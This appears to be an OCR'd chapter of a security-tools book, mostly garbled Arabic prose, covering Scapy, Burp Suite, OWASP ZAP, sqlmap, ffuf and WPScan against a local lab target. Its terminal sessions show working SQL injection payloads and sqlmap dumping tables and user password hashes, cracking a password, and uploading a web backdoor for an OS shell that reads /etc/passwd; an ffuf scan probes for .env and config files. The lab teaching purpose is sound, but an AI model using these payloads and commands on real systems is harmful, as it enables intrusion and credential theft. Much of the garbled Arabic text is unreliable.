INFO: Can't import PyX. Won't be able to use psdump() or pdfdump() .

aSPY//YASa
apyyyyCY//////////¥Ca |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
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ayp ayyyyyyySCP//Pp syY//C | Version 2.6.1

AYASAYYYYYYYY///Ps cY//s |
pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////¥Cpc A//A | Craft packets before they craft
scccecep///pSP///p p//Y | you.
sY/////////y caa S//p | -- Socrate
cayCyayP//Ya pY/Ya |
sY/PsY////YCc aC//Yp

sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs

using IPython 8.35.0

>>> target "10.49.180.204"

>>> packet = IP(dst=target)/TCP(sport=53, dport=22, flags="S")
>>> response = srl(packet, timeout=5)

Begin emission

Finished sending 1 packets

*

Received 1 packets, got 1 answers, remaining O packets

>>> response [TCP] .flags

<Flag 18 (SA)>

>>> response[IP].ttl

62

>>> ack_test = sr1(IP(dst=target)/TCP(sport=53, dport=22, flags="A"), timeout=2)
Begin emission

Finished sending 1 packets

*

Received 1 packets, got 1 answers, remaining O packets

>>> if ack_test:
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print (f"Response Flags: {ack_test[TCP].flags}")
: else:

print("No response (Stateful Firewall Detected)")

Response Flags: R

https://scapy.net :Jsal

G AAY) LAl g Diu) asdl) dails

AL & sagll Al Jis pwntools Y Metasploit oo deadll 138 & laliz peinl ) <l 51 dils 53 )
s JC Qs e Geel Al ) ddas s o Al Gaagl pul malill 3y o< Kill Chain
Sl il A i QS e ST Al iy alals 8 Jaay daelis A1V Jlad ) lad JS 5 ddaals Meterpreter
Al (g lanall areaill b Cira o djlead) cilalae) 8 Jla

) 8 shaall 3 a3 Dirty COW (CVE-5195-2016) 558 LSl 8 meiall 13 e Jlia 3
Phil e¥) Gald) L&) s ¢ jilie a s asaa yie LELESI &4 ol oot s sine ) Cladlall ad p masd
4l Jala Race Condition da s ¢l Alla oo 55l 3 il il (s 481 yial 23 HUail alias <13 Qester
e 5] eyl 35S 3 10 g g I JD) 138 f 15081 Linuix 3153 (e Copy-on-Write 4Lsl die el
s o Ray gy and Ol gal o Al Claile yie 88a% O Sa Y Giead) 130 LK) aad adaadl off s < g
US (e o3k o (S agdl) (o g il i 585 6Bl (5 slnn o B SIA 5] aed (o Thana 50 (5 s kel
el OF VI ¢ yaaa IS5 5 a3l IOl 4plSa) a2 55 .GDB die 5 sivall dindie Jilad <l sol Sle 58 5all Jasll
Al dgiail) ) Y Android s eal (e dalas¥) (udle codil dpial e i ) gl Zlady) 3 J el

A yrall 028 alasin) e clly jolaty U en  LedDlaiul g <l jadll ol il 2ie i 65 Y (arial o) A Uil g use
aldai oLy A (A (g jlame o sa 4Byl Q5 Gl U8 Akl e aoldl) Jiadl arenal dps il Aigend) d3a sngd)
G sian oo st a2 L agdy Cpadlaally () shaall ol dia i b Lebaiu) b 353 IS ASla
Secure Lginuba didl dadail oLl 43 paall o2 Cadagi i dadail) S b ) daid il an) Cagl) | manail
Y a5 pma Y s el (g T 3 g (0 5S5 g <by Design

dale b el el JOaY) e Jalall e Aalai¥) e 5l 28 agh 2xd L V) g Vg
IS5 HTTP Glls US55 cJa) 3 sai JS o G iyl clilad dal a5 1l 5 daula ST (5 A
sle JBaaY) alle (e Jiiin a8 Juadll 8 ool AL Lendli 5 Lpasaai oy ol () o saell 2 ji AP 4l 5
LS ) b (8 Ja Chimia Jsahy (S agdin Cua eyl il ) a0 alle ) cilesall g Aalail) (5 siua
osael) s o8 Lall Nuclei s sqimap s OWASP ZAP 5 Burp Suite Jis @l sl i a5 daale

Ol 138 8 aa)
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Gl el g A ¢

Lifle sSa i g ol pabia oUS iy 33a8 )l Lie DB Cinal asall Atz 4y e Sl sy i ¢ D) calS (o)
30 (o Blall ol s g calladl W)y (S Agad sl el sl lidad Lgpans Ale e g dliea dpala ) Cilgal 50 dsena
gt daa s Agal s OS¢ IS «Jaa) Jia S 5 plad Ailis ady Jleall 138 081 1) SLa®y) aDIA (g
S Ry Aliae 33U 4 (AP)

& oY) s Shasl (Equifax &S ge Gaantig 2017 ale A e il an i Lses shaall ana @l il
ol Gadad (8538 A e i el DS 58l Juanil) dalail e dina o gad e agll A1 & ol 1S al
@l O 58a 58 5 Apache Struts ams las @il dee s} & (CVE-2017-5638) sl cilS ags palall
o Equifax 812017 oele 8 Ll (Y g il Jagis s aill e (Ble ¥l o Ll s il (e aall B
Letadail Cyaaty o5

paran g gy HTTP b aladialy s s gidal) 33800 028 () saalgall 2SI 2017 sile A 18 0y jed 2m
el Al 3 38 02 e Equifax adlss e (RCE) aw (e Ay Clagled 285 (e 15348 Lapad
S daiil) e sagy bl () gananr g AT ) aUaS (g () 5l agdlISS) o o 050 4S8 Jals L 76 ¢ sealed
G sis eelia¥) Glavall ol i 5 slan) Ald A Lay ¢ S el (ke 147 (o SIS Al Lpad &l clilul) Cy jus
b adye e saa) g5 a0 s 138 JS ¥ Ll 4.1 (e L ASLEN e I BaY) 13e A8IS5 < a 3Dl
s Gk

Liosy i JI35 Y 1998 ole (35 JsY Lie Cuaall 5 Al (SQL Injection) cis bad of Salad da
Y Gpealgad) of iy 13,2021 alad OWASP Top 10 - Ty g sl cliglatl ilagags 3 yhadl (e saal 5 138
Alade 5l et J1 35 Y 48 65 gall g dasaill <l Y 5 ) ghaie dalad ) Laila () saling

3 sanl) JS5 A Gl 0 B Baniins candl) 138 8 Aiaiadie Dl 5 ) el zUisg Siaall sasil) 138 dgal sal
Lot 5 eJlaall Jiia yidaS Jand ll 5 gie e Y (Al <l ¥ cddllaalls o Cunald) Cu gl () 580 LAY (g il
ld g g pall A8 a (e e ja IS daaady didaty al el Glaey ol cOWASP ZAP 5 Burp Suite
SQL Injection ¢ia Joiul dalee Jgas il 4y shanl) 318Y) csgimap Jie cdisall aal all il a1 ) Jaii
il 5 sinall GLES) (e i Al (Nuclei s fluf Jie 3oLl s de pull o ol Jglitin o5 (580 ale ) 508aal)
Jia doacadiall @l oY1 ) ki o paly 4808 de yu 485 peal) @l 3l Llail e Giay CalaaY) GNT ani g
e Lo sa ASAD A5V (38l (g5l aSaill (e g el 138 Baal s daie e 385l 38 elad Al (WPScan
Jad) 13a & gl Ca sl

Burp Suite .t

Dl A jles oSy Y S 31881 5 ¢ e Db (The Gold Standard) @l bl xS Burp Suite aie

PortSwigger 48 ;& (e 4 5 s Al (Web Application Security Testing) cus) cilius ol
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Proxy sl (s lay e i JS el (Intercepting Proxy) dams isS (8 (S5 51aY1 gl 4y sall Zaual)
el ey pandll dl 7 Lae (Server) aadlally dadiaio g ulay (Proxy) dSsS desd & dpal eV
(Interception) o=l e ¥l 132 (Response) 4laiul JSs HTTP/HTTPS (Request) b JS Jaaeds
(Manual Testing) sl JLia¥l dlee 8 a 58

Proxy s sliad i alls () sie) 0 jmasd Ll sol C palad) JalSI a5 Aial) BUrp 58 (S5 Lin
il ) Ak Al ) (K

Cl ) GLESY Aliadall 31aY) A 5 88 4y g0y CiBant ae Ol pall e illall (L) 33 :Repeater ¢
IDOR  (Logic Flaws) 4kl

S e (Brute Force) sbueadl 358 Clasa Jie dipna &l juaie e Clangdl 439 :Intruder o

_(Fuzzing) 8 prall (predsd j gl

(Automated Scanning) Il u=asé ¢) 2Y (Professional Edition) 4l sia¥)da.all i :Scanner -
XSS 5 SQL Injection Jis d2ili &l jad e Gaall Jald

.URL Encoding sl Base64 Ji (Decoding) <ulull w5 ¢lil :Decoder *
L(shadt JC8 allainy) g Uil 45 )id :Comparer ¢

W ) shy dadile il jae Gy 3 ((BApp Store) clibayl aie o e Y IS 3aY) i, s s L
Burp 2~ <Web Security Academy sl il daiall (e acds el 13d | Jlpuall (Y acina

Sl Sl (31 Al iid JS 460 3 jaa Suite

Al Asaldl)

Lo gia QM\BJL@A\L;}‘SM

Windows, Linux, macOS Josl) dalaif
g 58/ o 4l
g o il g 5

Burp Suite sl3f &l jaes

https://portswigger.net/burp :Jwaal
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OWASP ZAP Y.t

Lalasinl g A SV jaeadll 2 gibe cuoll il el zule 4 OWASP Zed Attack Proxy (ZAP) sl
(Man-in- Cusiidll i Jay ol sie) S S 8laY1 Jent | allall OWASP g 55 (e 12 2b 5 callall
ey <l jadl) LS piidall ety Laa ¢palal) 5 mieaiall (5 pall 48 Ja Jpaai s (asil the-Middle Proxy)
XSS, SQL Jie o 23 i, (Active & Passive Scanner) G Wi L un aule ZAP i LS Uy
QUL acny caladin) Alew 4gal o i OWASP Top 10 @l a3 e W e 5 <Injection, CSRF
Ofiaall 30le 312Y) ALLS )5l 35 ((CI/CD) Al 2500 el 81 o (e Jaaeilll 403<4) 5 «(Add-0nS)

_BJMW&G}JM&MLPM} el gwan e oyl yisallg

Al daldl)

Do gie Y (s | sl 3 leall (5 s

Windows, Linux, macOS sl dadas
Slae 4al)
Apache-0.2 v il ¢ 5

OWASP ZAP 3laf & jiea

https://www.zaproxy.org :dJad

sglmap Y.t

SQL (SQL cis sk Platul 5 SLES) Lt dlall (3 Y gad SISV 5 6 891 4 lend) 31391 sqimap it
G il s yiaal (Swiss Army Knife) s sall Glial) (S 25 Python 4xl 4 5S4 51331238 Injection)
(JelSll Liaige ddae () dlan 5 Bane 450 dplee OIS Lo J3a0 Cia c UL ) 8

& L o(Aakail 10 o iST) cililull sl 58 5 la) dadail (e dal 5 Ao ganal Jiledl Leaed (e SQImap 358 Tas
31aY) & e s MariaDB ,SQLite ,Microsoft SQL Server ,Oracle ,PostgreSQL ,MySQL élix
10 o) s ecanliall il g 58 sty LGS o 585 s il A LISl 5 Y

B ke alll =1 A5.Y :UNION query-based -
bl BaclE e Uadll Jila )y e bl 21 a5uY :Error-based -+
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iyl # Uit  (Y/pai) il k! :Boolean-based blind -

UL Bac B dulaiu) o8 e 2l cililull ZUlY :Time-based blind ¢

L ud Hiaall s Lee AlalSia il 3ol ) GLES) 310 (e sqlmap Jsadi ciall dhii aaad 3 jaa

8ol (geant ladlal) il Jla 3) Loal ety i ¢(--dump) saee Y15 Jglaall s bl ac) 8 (5 gine cans
--0s-shell, --) 5_xilwe dsriill i el ol 255 ia ol o(--file-read/-file-write) asall e clild) 4
Clidaty ALl dlaall dadail (e el ) lail dnene lilSa) e 313V g gind celld ) ALYl (0s-cmd

Bl gl Lacada tamper @l S aladin) e (WAFS) <l

-

dagdl) Asaldl)

Lo gla QM\BJL@A\L;}LM

Windows, Linux, macOS i) Akl

GNU GPLv2 EONER P

sqlmap 31 uaibad

:(0S-Shell) Jsiill iz ) Y sea s SQL Injection s sl ALlS Ikl s 5550 1 lee Jlia

sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --dbs --tables --dump

—--o0s-shell --batch

Jslaall z1 Aiul o5 ¢(--dbs) bl ael 8 Ll 31aY) fay Cum Jalill a sagd) Jiay 5e¥) 138 1 JU 7 4
Slo Jsanll Dglae s lin Jlall L35 ((—-dump) Gsexdivsl) Clily G 25 ¢(—-tables) Hagiua) saclll 1
05 LAl cilileall o3 JS 385 ey —-batch Jlall adall 8 JelSll oSaill (—-os-shell) sdaill el 5f dgal
o pall a3

sl il

(yaser CyberBookio)-[~]
$ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --dbs --batch

('] {1.9.11#tstable}
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l_ -1 . D] I

l___1_ DI_t_1_1__, 1 _I

[_Iv... |_|  https://sqlmap.org

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:24:30 /2025-12-27/

[02:24:30] [INFO] resuming back-end DBMS 'mysql’
[02:24:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071, (SELECT

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

Type: UNION query

Title: Generic UNION query (NULL) - 3 columns

Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
[02:24:30] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.33, Apache 2.4.53
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
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[02:24:30] [INFO] fetching database names

[02:24:30] [WARNING] reflective value(s) found and filtering out
available databases [5]:

[*] evangelion_sqli

[*] information_ schema

[*] mysql

[*] performance_schema

[*x] test

[02:24:30] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:24:30 /2025-12-27/

(yaser CyberBookio)-[~]
$ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" -D evangelion_sqli --tables --batc

H
______ (.1_____ ___ ___ {1.9.11#stable}
l_ -1 . ['] N
l___ 1 DI_t_1___, 1 I
[_1V... |_| https://sqlmap.org

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:24:48 /2025-12-27/

[02:24:48] [INFO] resuming back-end DBMS 'mysql’
[02:24:48] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)

Type: boolean-based blind
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Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071, (SELECT

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6

[02:24:48] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.33, Apache 2.4.53

back-end DBMS: MySQL >= 5.0 (MariaDB fork)

[02:24:48] [INFO] fetching tables for database: 'evangelion_sqli'
[02:24:48] [WARNING] reflective value(s) found and filtering out
Database: evangelion_sqli

[2 tables]

| Info |

| Users |

[02:24:48] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:24:48 /2025-12-27/

(yaser CyberBookio)-[~]
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$ sglmap -u "http://127.0.0.1:1337/data.php?id=1" -D evangelion sqli -T Users --dum
gqlmap p php g _8q p

H
______ (Ad_____ _— __ {1.9.11#stable}
l_ -1 . ['] |
l___1_ DI_I_1___, 1 _l
[_1v... |_| https://sqlmap.org

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:25:01 /2025-12-27/

[02:25:01] [INFO] resuming back-end DBMS 'mysql’
[02:25:01] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071, (SELECT

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
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[02:25:01] [INFO] the back-end DBMS is MySQL

web application technology: Apache 2.4.53, PHP 7.3.33

back-end DBMS: MySQL >= 5.0 (MariaDB fork)

[02:25:01] [INFO] fetching columns for table 'Users' in database 'evangelion_sqli'
[02:25:01] [WARNING] reflective value(s) found and filtering out

[02:25:01] [INFO] fetching entries for table 'Users' in database 'evangelion_sqli'
Database: evangelion_sqli

Table: Users

[3 entries]

e Tt ettt L
| id | Age | Bio

o o
| 1 | 14 | Ayanami Rei is the First Child and pilot of Evangelion Unit-00. She is q
| 2 | 14 | Asuka Langley Soryu is one of the central characters in Neon Genesis Eva
| 3 | 14 | Ikari Shinji is the designated pilot of Evangelion Unit-01 and the son o
especially Ayanami, Asuka, and his father-are complicated and often strained, but the

T Tttt it L

[02:25:01] [INFO] table 'evangelion_sqli.Users' dumped to CSV file '/home/yaser/.loca
[02:25:01] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:25:01 /2025-12-27/

(yaser CyberBookio)-[~]
$ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --users --passwords

______ (AQ_____ ___ ___ {1.9.11#stable}
l_ -1 . ['] N
It LIt 1,1
[_1v... |_| https://sqlmap.org
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['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:25:11 /2025-12-27/

[02:25:11] [INFO] resuming back-end DBMS 'mysql’
[02:25:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071, (SELECT

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6
[02:25:11] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.53, PHP 7.3.33
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[02:25:11] [INFO] fetching database users
[02:25:11] [WARNING] reflective value(s) found and filtering out

database management system users [6]:
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[*] ''@'buildkitsandbox'

[*] ''@'localhost'

[*] 'eva'@'localhost'

[*] 'mariadb.sys'@'localhost'’
[*] 'mysql'@'localhost’

[*] 'root'@'localhost'

[02:25:11] [INFO] fetching database users password hashes
do you want to store hashes to a temporary file for eventual further processing with
[02:25:13] [INFO] writing hashes to a temporary file '/tmp/sqlmap9051wkm054814/sqlmap
do you want to perform a dictionary-based attack against retrieved password hashes? [
[02:25:15] [INFO] using hash method 'mysql_passwd'
[02:25:15] [INFO] resuming password 'eval2345' for hash '*72665f48246041eb6c81a28a43b
database management system users password hashes:
[*] eva [1]:

password hash: *72665F48246041EB6C81A28A43BEA3655BA39067

clear-text password: eval2345
[*] mariadb.sys [1]:

password hash: NULL
[*] mysql [1]:

password hash: invalid
[*] root [1]:

password hash: invalid

[02:25:15] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:25:15 /2025-12-27/

(yaser CyberBookio)-[~]
$ sqlmap -u "http://127.0.0.1:1337/data.php?id=1" --os-shell --batch
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("] {1.9.11#tstable}

[_IV... | | https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual cons

[*] starting @ 02:25:34 /2025-12-27/

[02:25:34] [INFO] resuming back-end DBMS 'mysql’
[02:25:34] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 8444=8444 AND 'gfKv'='gfKv

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 5635 FROM(SELECT COUNT(*),CONCAT(0x716a6b7071, (SELECT

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 2837 FROM (SELECT(SLEEP(5)))oleH) AND 'aHgW'='aHgW

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7071,0x467771777166414e6

[02:25:34] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.3.33, Apache 2.4.53
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back-end DBMS: MySQL >= 5.0 (MariaDB fork)

[02:
[02:
[02:
whic
[1]

[2]

(3]

(4]

> 4

[02:
[02:
[02:
[02:
[02:
[02:
[02:
[02:
[02:
[02:
[02:
[02:
[02:
0sS—8

do y

25:34] [INFO] going to use a web backdoor for command prompt
25:34] [INFO] fingerprinting the back-end DBMS operating system
25:34] [INFO] the back-end DBMS operating system is Linux

h web application language does the web server support?

ASP

ASPX

JSP

PHP (default)

25:34] [INFO] retrieved the web server document root: '/var/www'

25:34] [INFO] retrieved web server absolute paths: '/var/www/html/data.php'
25:34] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TE
25:34] [WARNING] reflective value(s) found and filtering out

25:34] [WARNING] potential permission problems detected ('Permission denied')
25:34] [WARNING] unable to upload the file stager on '/var/www/'

25:34] [INFO] trying to upload the file stager on '/var/www/' via UNION method
25:34] [WARNING] expect junk characters inside the file as a leftover from UNION
25:34] [WARNING] it looks like the file has not been written (usually occurs if t
25:34] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LIN
25:34] [INFO] the file stager has been successfully uploaded on '/var/www/html/'
25:34] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - h
25:34] [INFO] calling 0S shell. To quit type 'x' or 'q' and press ENTER

hell> ifconfig

ou want to retrieve the command standard output? [Y/n/a] Y

command standard output:

ethO

Link encap:Ethernet HWaddr 02:42:AC:12:00:02

inet addr:172.18.0.2 Bcast:172.18.255.2556 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:1477 errors:0 dropped:0 overruns:0 frame:0

TX packets:1345 errors:0 dropped:0 overruns:0 carrier:0
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collisions:0 txqueuelen:0

RX bytes:209708 (204.7 KiB) TX bytes:371262 (362.5 KiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

os-shell> cat /etc/passwd

do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin

cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
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ftp:x:21:21::/var/1ib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games: /usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp: /var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin
mysql:x:101:102:mysql:/var/lib/mysql:/sbin/nologin
os—shell> exit

[02:25:53] [INFO] cleaning up the web files uploaded
[02:25:53] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 9 times

[02:25:53] [INFO] fetched data logged to text files under '/home/yaser/.local/share/s

[*] ending @ 02:25:53 /2025-12-27/

https://sqimap.org :Jsead

ffuf ¢.¢

Gusll (edd aseial Al 5iaY) 5 Euaall sl (Fuzz Faster U Fool skl 6 jbell 1 jlaial) ffuf e
O5S3) Jadh i ol cdial yiall dadleal) s de sl (e (5 sl 30100 GO daks 4y siSall oY) o2 (Web Fuzzing)
o saciaal) dallall Lglig ye b eSS Atial) i Llad andl) Lagia andl i <Dirb Jie lsaY ¢l Sby
FUZZ dalial) 4a1)
HTTP b Jaly oSe o 8 cdlana) ciag ffuf ol ey dise sada algas oadiill ol 5ol o 55 Lty
LY (Headers) Clow s il 3 ) cclalad) s cilill) GLESY (Path) sbedl) (& FUZZ Al a5 iy
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XML sl JSON <dase HLiaY (Body) <kl awa il 5 ((VHost Discovery) gl 5iY1 (piuadll
Aside dgae y Clgal 5 GLESY (Parameters) Claleal sland e is sl

ks s dlgie ju L Gl (Bug Bounty Hunters) <l il cililSa b jisad dlaial) 31aY) ffuf Jass L
Al b bl YTl e $OUa) diad ks (53 s w5 (Filtering & Matching) 4aidaall 5 5 il
aan o 2l dntdaall s 5l Ay LA Y1 A5 gl e ASEal) clulagY) Joe b gl maay
zias Laa o(-r) eSay Blail in o o(-fo) Al se ) (<) Sl sae ((-fy) Sl axe ¢(-fs) dlaiu)
Baiaall pasdll Cllee Al A Ll Slaie V) (S 4380 5 A il Gl

-

dadl) Asaldl)

Lo gie ) (saine | slhaall 3 leall (5 i

Windows, Linux, macOS Josiil) Akl
Jalslly il ekl
MIT License ol il g g

ffuf sl ualliad

) Ak e RIS Al 35l g e Al VA5 il L) 1 Les e

ffuf -w /usr/share/wordlists/dirb/common.txt -u

http://127.0.0.1:1337/FUZZ -fc 404

AS U FUZZ doabidal 4aS)) Jlagiul o Cun a8 sall Jalo ddall GLESY Cargy el 128 1 JUal £ i
(3sa sa e Aadial) Gmmd\ claaly o sy (52l 404 -fe LA aladiul 8 Ua jaeliy Al 883 ga ga
Jlad anlad) Ll a3l @l sl o ol & 53 La

EGERN]

(yaser CyberBookio)-[~]
$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://127.0.0.1:1337/FUZZ -fc 404

/U N\ /' __\
INN__//INN_/ /NN
AV WP N U W V2 W VA U W W N
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AV N VP20 W O V2 W W W W W O O W4
AV W W W W W N VY 2N W VA
\/_/ \/_/ N/___/ \/_/

v2.1.0-dev
:: Method . GET
:: URL : http://127.0.0.1:1337/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt

:: Follow redirects : false

:: Calibration : false

:: Timeout : 10

: Threads : 40

:: Matcher : Response status: 200-299,301,302,307,401,403
:: Filter : Response status: 404

[Status: 301, Size: 149, Words: 5, Lines: 8, Duration: 12ms]

*x FUZZ: admin

[Status: 200, Size: 2471, Words: 342, Lines: 85, Duration: 15ms]
* FUZZ: api

[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 18ms]
* FUZZ: backup

[Status: 200, Size: 452, Words: 42, Lines: 15, Duration: 11ms]

* FUZZ: config.php

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 14ms]

x FUZZ: .env
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[Status: 200, Size: 1893, Words: 156, Lines: 67, Duration: 22ms]

* FUZZ: uploads

[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 10ms]

*x FUZZ: dashboard

:: Progress: [4614/4614] :: Job [1/1] :: 845 req/sec :: Duration: [0:00:06]

https://github.com/ffuf/ffuf :Jseas

WPScan °.¢

WPScan o «(cu sl @) sa (50 43% (e ST Jads 521 (5 sinall 3,13 pUai) WordPress ol e caaai laxie
ale &l 5 mulaS Jaxi ¥ Ruby 3al 4 6Sall sl a2 g 5lie S (J6Y) dpanadill 5 4 bl 310Y1 o
= Al LiSel) aedl (Black Box) asd) (stiall dagies WordPress sasil bavas daeas 2 &
.&<= WordPress

il eyl = L\SL:: eSS s «(Core) 3) gl oSl ‘\)AU WordPress 4w = s AuiaY) AE
oy Lleny Y 5l 4585 g8 (WPScan die o8l ¢ sexdiudl iy I (Themes) <l sill s (Plugins)
Al all Ll ac 8 CALU}Q Glilull s34 CL\AS S A L) jlaa) 5 Adall il sSall sl 43 ds (Fingerprinting)
aad) oY) 13] (CVE) 4852 523 dllia (S 13 Lo 1a3 (WPVUINDB)

Alici gb  ABaladlly op oSl ol LAY 448 sl WPScan uiai dusa ) @l il i ) dilayl
Lgaladind & (g 5 cdallall J g3l elaud 1533508 (User Enumeration) gseaivall slasil daiadie cibie ) ) 53
e dpaall glacal Jypudl oSaida gl e 3.4l 4le (Brute Force) Jsoell GlalS (edd Cilaaa (il
Euaal (il sall (5 jlaty 3 ganall Aadiud Jilas) AP| Token oUsi e 31aY) adiad ccl jaill cilily sl
sl g8 a8
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:: Errors


https://github.com/ffuf/ffuf

T a1 g5e | o plladl s el (5 sine

Linux, Windows, macOS Jial) dalasl
(API) & s82a [ Jlaa Jal<sl)
WPScan Public Source License o il g g

(Non-Commercial)

WPScan sl jaibas

